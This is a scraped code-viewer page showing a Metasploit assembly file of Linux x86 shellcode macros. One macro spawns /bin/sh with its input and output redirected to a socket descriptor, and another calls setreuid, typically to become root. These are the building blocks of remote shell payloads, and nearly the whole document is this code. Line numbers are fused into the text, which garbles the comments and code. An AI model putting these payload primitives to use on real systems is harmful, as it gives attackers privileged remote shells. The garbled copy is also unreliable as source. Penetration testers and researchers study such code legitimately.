Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/linux/ia32/generic.asm
Views: 11784
;;1;2; Name: generic3; Type: Macro Set4; Qualities: None5; Authors: skape <mmiller [at] hick.org>6; Version: $Revision: 1407 $7; License:8;9; This file is part of the Metasploit Exploit Framework10; and is subject to the same licenses and copyrights as11; the rest of this package.12;13; Description:14;15; This file provides a generic API of macros that can be used16; by payloads. No payloads are actually implemented within this17; file.18;19; Macro List:20;21; execve_binsh - Executes a command shell with flags22; setreuid - Set real/effective user id23;;24BITS 322526;;27; Define undefined assumptions28;;29%ifndef ASSUME_REG_EDX30%define ASSUME_REG_EDX -131%endif32%ifndef ASSUME_REG_EAX33%define ASSUME_REG_EAX -134%endif3536;;37; Macro: execve_binsh38; Purpose: Execute a command shell with various options39; Arguments:40;41; Execution flags: Flags used for executing the command shell in a42; number of modes.43;44; EXECUTE_REDIRECT_IO => Redirects stdin/stdout/stderr to the fd45; passed in 'edi'.46; EXECUTE_DISABLE_READLINE => Disables readline support. This is47; needed for redirection to UDP sockets.48;;49%define EXECUTE_REDIRECT_IO 0x000150%define EXECUTE_DISABLE_READLINE 0x00025152%macro execve_binsh 15354%if %1 & EXECUTE_REDIRECT_IO5556dup:57%ifdef FD_REG_EBX58%else59mov ebx, edi60%endif61push byte 0x262pop ecx63dup_loop:64%if ASSUME_REG_EAX == 065mov al, 0x3f66%else67push byte 0x3f68pop eax69%endif70int 0x8071dec ecx72jns dup_loop7374%endif7576execve:77%if ASSUME_REG_EAX == 078mov al, 0xb79%else80push byte 0xb81pop eax82%endif83%if ASSUME_REG_EDX == 084%else85cdq86%endif87push edx8889%if %1 & EXECUTE_DISABLE_READLINE9091push word 0x692d92mov ecx, esp93push byte 0x6794push word 0x6e6995push dword 0x7469646596push dword 0x6f6e2d2d97mov edi, esp98push edx99push dword 0x68732f2f100push dword 0x6e69622f101102%else103104push dword 0x68732f2f105push dword 0x6e69622f106107%endif108109mov ebx, esp110push edx111112%if %1 & EXECUTE_DISABLE_READLINE113114push ecx115push edi116117%endif118119push ebx120mov ecx, esp121int 0x80122123%endmacro124125;;126; Macro: setreuid127; Purpose: Set effective user id128; Arguments:129;130; User ID: The user identifier to setreuid to, typically 0.131;;132133%macro setreuid 1134135setreuid:136137%if %1 == 0138139xor ecx, ecx140141%else142143%if %1 < 256144145push byte %1146147%else148149push dword %1150151%endif152153pop ecx154155%endif156157mov ebx, ecx158push byte 0x46159pop eax160int 0x80161162%endmacro163164165